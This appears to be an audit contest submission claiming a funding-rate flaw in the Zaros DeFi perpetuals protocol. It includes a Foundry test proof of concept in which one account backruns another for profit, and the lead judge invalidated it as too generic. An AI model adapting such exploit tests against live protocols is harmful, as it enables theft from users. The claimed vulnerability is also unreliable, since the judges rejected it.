DeFiFoundry
60,000 USDC
View results
Submission Details
Severity: high
Invalid

The funding rate is implemented wrong, attackers can use this to backrun other users for a profit

Summary

The funding rate is implemented wrong, attackers can use this to backrun other users for a profit.

Vulnerability Details

The attack vector involves creating an order, waiting for another user to make an order in the same market, then immediately close the order for a profit.

Consider the following attack flow

  1. Zaros is deployed, markets open

  2. Attacker sees the DOGE market is open so he makes the first long order

  3. Normal user comes in and makes a long order

  4. Attacker backruns the honest user's Tx by closing their initial long position, for a profit

Here is a coded POC proving the issue, see the console output for the PNL of the attacker and victim

Add the following to createMarketOrder.t.sol

function test__backrunAttackVectorForProfit() public {
// forge test --mt --mt test__backrunAttackVectorForProfit -vvvvv
// setup the attacker and honest user
uint256 marginValueUsdc = 4_00000e6;
int128 userPositionSizeDelta = 500_0000e18;
deal({ token: address(usdc), to: users.naruto.account, give: marginValueUsdc });
deal({ token: address(usdc), to: users.sasuke.account, give: marginValueUsdc });
// create trading accounts
changePrank({ msgSender: users.naruto.account });
uint128 tradingAccountId = createAccountAndDeposit(marginValueUsdc , address(usdc));
changePrank({ msgSender: users.sasuke.account });
uint128 tradingAccountId1 = createAccountAndDeposit(marginValueUsdc , address(usdc));
// Order open naruto
changePrank({ msgSender: users.naruto.account });
openManualPosition(
DOGE_USD_MARKET_ID, DOGE_USD_STREAM_ID, MOCK_DOGE_USD_PRICE, tradingAccountId, userPositionSizeDelta / 2
);
// Order open sasuke
changePrank({ msgSender: users.sasuke.account });
openManualPosition(
DOGE_USD_MARKET_ID, DOGE_USD_STREAM_ID, MOCK_DOGE_USD_PRICE, tradingAccountId1, userPositionSizeDelta / 2
);
// Order closed naruto
changePrank({ msgSender: users.naruto.account });
openManualPosition(
DOGE_USD_MARKET_ID, DOGE_USD_STREAM_ID, MOCK_DOGE_USD_PRICE, tradingAccountId, -userPositionSizeDelta / 2
);
// Order closed sasuke
changePrank({ msgSender: users.sasuke.account });
openManualPosition(
DOGE_USD_MARKET_ID, DOGE_USD_STREAM_ID, MOCK_DOGE_USD_PRICE, tradingAccountId1, -userPositionSizeDelta / 2
);
}

Looking through the logs for naruto the attacker here, he made a pnl = 388187320537500000 [3.881e17]

on the other hand the innocent user made a pnl = -388187320537500000 [-3.881e17]

Impact

Risk free trades for attackers

Tools Used

Manual Review

Recommendations

redo the implementation of the funding rate and test it heavily

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Too generic

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.